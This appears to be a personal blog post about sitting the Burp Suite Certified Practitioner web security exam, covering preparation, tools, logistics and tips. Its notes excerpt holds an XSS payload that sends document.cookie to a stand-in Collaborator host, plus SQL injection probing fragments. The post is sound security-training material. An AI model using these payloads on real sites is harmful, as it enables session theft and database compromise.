Burp Suite Certified Practitioner (BSCP) Exam Experience
Why I Took It
I had been using the Web Security Academy on and off for years without ever finishing anything properly. Whenever I ran into an unfamiliar bug class at work, I would open the matching lab, solve it, and forget about it a week later. That is a fine way to learn, but it leaves gaps you don’t notice until someone points at them.
The BSCP fixes that mostly by accident. To pass it you end up grinding through the entire lab catalogue, and the certification itself is almost a side effect. The exam is also cheap by industry standards ($99 per attempt, plus local tax) and the certificate has a long shelf life, so there was not much of a reason to keep putting it off. I finally sat it in May 2026.
What The Exam Actually Is
Four hours, two vulnerable web applications, three stages per application. Six stages total, and you have to clear all six. There is no partial credit. Five out of six is a fail, which sounds harsh until you sit the exam and realise the stages are designed to be reachable if you actually know the material.
The three stages are the same on both applications:
- Get into any user account.
- Escalate to the admin interface at
/admin. - Read
/home/carlos/secretoff the server filesystem and submit it.
You need an active Burp Suite Professional subscription. This is not a “recommended” thing, it is a hard requirement, so budget for it. Identity verification is handled by an automated proctoring service (Examity) and you need a government photo ID. Results come by email in three to five working days.
One thing worth internalising early: the stages are strictly sequential. I spent a few minutes during my first practice run wondering whether a lucky file read could skip me straight to stage 3, and the answer is no. The platform will not credit it. Work the ladder in order.
Preparing
The Web Security Academy labs are free, all of them, which removes any excuse for showing up unprepared.
I finished every Apprentice lab (52 of them) and every Practitioner lab (151). Not because a checklist told me to, but because the exam material is drawn from exactly that pool. If you have solved all of them honestly, without reading the solution the moment you got stuck, you have already seen every technique the exam will ask for. The Expert labs are optional. I did a handful around deserialization and request smuggling, mostly for confidence, and none of them came up.
Two things helped more than raw lab count:
The Mystery Lab Challenge. In a normal lab the title tells you the bug class, so your brain is already pointed in the right direction before you even look at the app. The mystery labs strip that away. That is much closer to the exam, where nothing tells you what you are looking for.
The free practice exam. Same format as the real thing, no cost. I did it twice, a couple of weeks apart. The second run was less about technique and more about noticing where I was burning time.
I also kept my own notes file. Not a curated cheatsheet from GitHub, just a messy markdown file I built while solving labs, with the payloads that actually worked for me and the order I tried things in. Something like:
1
2
3
4
5
6
7
8
9
10
[XSS -> steal admin session]
- deliver via exploit server
- <script>fetch('https://COLLAB/'+document.cookie)</script>
- filtered? try <img src=x onerror=...>, alternate events, encoding
- ALWAYS test in your own browser first
[SQLi -> credentials]
- column count first (ORDER BY, then UNION NULL,NULL...)
- DBMS fingerprint: ' || (SELECT '' FROM dual) || ' -> Oracle
- users table is usually username/password
Ugly, but during the exam that file was the only thing I read. Notes you wrote yourself are faster to scan when you are stressed than anything you copy-pasted.
Tools
Burp Suite Professional, and nothing else. A few other things are permitted, but I never reached for any of them. Everything the exam asks for is doable inside Burp, so I saw no reason to complicate my setup on the day.
One restriction to know about: outbound traffic from the exam environment is blocked, apart from the public Burp Collaborator server and the built-in exploit server. Your own tunnel or webhook endpoint will not help you exfiltrate anything, so get used to Collaborator while practising.
That restriction applies to the target, though, not to you. The exam is open book. Keeping the Web Security Academy and your own notes open in another tab is entirely fine, and worth setting up beforehand rather than Googling under time pressure.
Using Burp Scanner
Worth calling out separately, because plenty of people ignore it out of a feeling that real testing means doing everything by hand. In a four hour exam that will cost you, and it is largely why the Pro licence is mandatory.
What matters is how you point it. Don’t crawl-and-audit the whole site and go make coffee. I mapped each application by hand first, then picked the few requests that looked promising and scanned only those, selected from the proxy history and audited without crawling. A twenty minute scan becomes two or three. A lighter built-in scan configuration helps as well, since full coverage with time-based checks is thorough but slow.
It surfaced things faster than I would have working through requests by hand, and its out-of-band checks catch blind behaviour better than my patience does.
What it will not do is clear a stage for you. Scanner gives you candidates. It will tell you a parameter is injectable, but it will not extract credentials, log in as that user, and carry you to stage 2. Access control and business logic, which is most of what stage 2 is about, stay manual. Treat every finding as a lead to confirm in Repeater.
Exam Day
I booked a 13:00 slot, right after lunch. That was deliberate. It gave me the whole morning to set things up without rushing, and it meant I was not trying to think clearly at 7am. The obvious risk is the post-lunch slump, so I ate light and kept the coffee for about an hour in, when I knew I would need it more.
Something worth clearing up, because I had assumed otherwise: there is no separate enrolment or registration step for the exam. Once you have bought an attempt on your PortSwigger account, that is it. You log in, click through to the exam, and the whole thing runs from there. No forms, no waiting for approval, no scheduling portal to fight with.
What you do need ready is the proctoring side. A valid photo ID to upload, your camera on, and screen sharing enabled for the session. That check took maybe ten or fifteen minutes and it does not eat into your four hours.
On the monitor question: I did the whole exam on the single built-in screen of my laptop. That is genuinely enough. You will be moving between Burp and the browser constantly, but nothing about the exam demands extra display real estate, and using one screen removes any chance of the proctoring software complaining about a second or third monitor. If you normally live on a multi-monitor setup, this is the one day to unplug.
Make sure your internet is solid, too. Everything you touch is remote, and the connection matters twice over: once for the proctoring session, which is watching your camera and screen the entire time, and once for the exam labs themselves. A drop at the wrong moment is not something you want to explain.
As for the exam itself, I would rather not narrate it minute by minute. The short version is that I worked one application at a time, mapped it by hand before scanning anything, and finished all six stages in a bit over three hours rather than the full four.
The hardest part was not where I expected it. Stage 1 on both applications came reasonably quickly, and stage 3 tends to follow once you are inside /admin. It was a stage 2 that ate most of my time, and the reason was my own assumption rather than the difficulty of the target. I lost close to half an hour before going back to my notes, finding the thing I had skipped over, and getting it to work. I won’t say more than that, since the point of the exam is that you work it out yourself.
I want to be careful about how the timing reads, because it is not a brag. Finishing early was simply the payoff for having ground through every Apprentice and Practitioner lab beforehand. The techniques were familiar, so most of my time went into finding entry points rather than working out what to do once I had them. Plan for the full four hours anyway, and treat anything left over as a buffer for the one stage that decides to be difficult.
The Step Nobody Warns You About
Submitting that final secret does not mean you are finished. Once the last flag goes in, the exam closes itself out and you are asked to upload the Burp Suite project file you worked in, zipped. It is part of PortSwigger’s integrity check, their way of confirming the traffic behind your answers is really yours.
Nothing about this is difficult, but it has one prerequisite that is very easy to get wrong: you need to have been working in a saved project file on disk from the very beginning, not a temporary project. Burp offers you that choice on startup, most people click straight past it out of habit, and a temporary project keeps nothing once you close it. If you spend four hours in one and then get asked to upload it, there is nothing to upload.
So before the timer even starts: create the project file, put it somewhere you can find in a hurry, and keep both applications in that same project. Do not split them across two projects. The file will be fairly large by the end since it holds your entire proxy history, which is exactly why they ask for it zipped.
I only found out this step existed from other people’s write-ups, which is the reason I am spelling it out here. Finishing all six stages and then fumbling the upload would be a genuinely stupid way to end a four hour exam.
Where I Lost Time
Writing these down honestly, because they are the useful part.
I caught myself guessing parameter names at one point. That is always wrong. PortSwigger says outright that you never need to guess folder names, file names, or parameter names, and they mean it. Everything you need is discoverable in the application. If you feel the urge to brute-force a name, you have almost certainly gone down the wrong path and should back up.
Credentials are the exception, and it is worth being clear about the difference. PortSwigger hands you the wordlists themselves: a candidate usernames list and a candidate passwords list, both published on the Academy alongside the authentication labs and meant to be pasted straight into Intruder. So brute forcing a weak account is a legitimate move, and it is not guesswork, because the answer is guaranteed to be somewhere in a list they gave you. If it is not in those lists, brute force was not the intended route and you should be looking elsewhere.
Save both lists locally before exam day. You can reach them during the exam since it is open book, but fetching them while the clock runs is time you did not need to spend.
Finding the bug is not the task. Identifying a weakness clears nothing on its own. What advances a stage is the finished attack: the access actually obtained, the data actually recovered and then used to get further. PortSwigger are explicit about this in their own guidance, and I think it is the fairest part of the exam design.
Anything that runs in the simulated victim’s browser needs to work in Chrome or Chromium, since that is what the victim uses. Something that only behaves correctly in Firefox will leave you watching a Collaborator tab for a request that never arrives. Test it yourself first, every time, before sending it anywhere.
Short Version, If You Only Read One Section
- Do all the Apprentice and Practitioner labs. There is no shortcut here and pretending otherwise just costs you
$99. - If a stage has held you up for more than twenty or twenty-five minutes, switch to the other application. Coming back with fresh eyes works more often than grinding does.
- When you are stuck, ask which Academy lab this most resembles. Exam targets are variations on labs, not novel research problems.
- Scan selected pages, not the whole application.
- Start in a saved Burp project file, one project for both applications. You have to upload it at the end.
- Have your ID, camera and screen sharing sorted before the slot, and a connection you trust. A single laptop screen is fine.
- It is open book. Keep the Academy and your own notes in another tab, bookmarked and tidy.
- Download PortSwigger’s candidate username and password lists in advance. You do not have to invent credentials, they are provided.
- Eat something first and keep water nearby. Four hours is longer than it sounds.
- Take the free practice exam at least once, for the pacing as much as the technique.
Afterwards
Results are not instant. The email arrived a few days later with the pass status and a certificate link. Mine was issued on 25 May 2026 and runs until May 2032. Each certificate carries a unique identifier that anyone can verify, so it goes on a CV or LinkedIn without attaching a PDF.
If you fail, you buy another attempt and go again. It is not the kind of exam where failing means you were not good enough, only that one particular chain did not come together in four hours.
The Part That Actually Mattered
If you take one thing from this post, I would rather it be this than any of the exam mechanics above.
The certificate is the smaller half of the value. The larger half is the two hundred or so labs you have to solve to get there, and that half is completely free. You do not need to pay anyone $99 to start benefiting from the Web Security Academy. You can open it tonight.
A few reasons I think it is worth your time regardless of whether you ever book the exam:
The material is written by people who found the bugs. PortSwigger’s research team publishes the techniques and then turns them into labs. So you are not learning web security from a slide deck that was last updated when everyone still cared about clickjacking. Request smuggling, prototype pollution, the modern variants of things you thought you understood, they are all in there because someone on that team broke it first.
Every lab ends in a verifiable result. There is no “reflect on what you learned” at the end. Either the lab is solved or it is not. That sounds trivial, but it removes the comfortable illusion of understanding something you have only read about. I found several topics I would have sworn I knew, right up until I had to actually exploit them.
You cover ground your day job never gives you. Real engagements hand you whatever the client happens to run. Working through the whole catalogue forces you into bug classes you might otherwise avoid for years, simply because they never showed up in scope.
You get properly fluent in Burp. Not “I know where Repeater is”, but reaching for Intruder, Collaborator, or a targeted scan without breaking your train of thought. It is the tool most of us live in daily, and there is a real difference between using it and knowing it.
It builds the chaining habit. This is the one that changed the most for me. The exam structure trains you not to stop at “there is a bug here” but to keep asking where that bug can be carried to. That single shift has done more for the quality of my findings on real work than any certificate line on a CV, and it shows up in reports as demonstrated impact instead of a theoretical severity rating.
So where does the exam itself fit in? Honestly, its main job is to be a deadline. Free material with no fixed goal is material you will still be halfway through in two years. I know, because that was me. Paying $99 and picking a date turned an open-ended pile of labs into something I actually finished, and the certification at the end is a fair bonus: cheap by industry standards, publicly verifiable, and genuinely respected by people who do web testing for a living.
Do the labs first. Book the exam when the labs stop surprising you.
Notes and Disclaimer
- This is my own experience. Exam targets vary, so yours will look different in the details.
- No exam content is disclosed here. Everything above is general and within PortSwigger’s rules.
- Pricing and exam policy can change. Check the official pages before you book.
- Shared for educational purposes.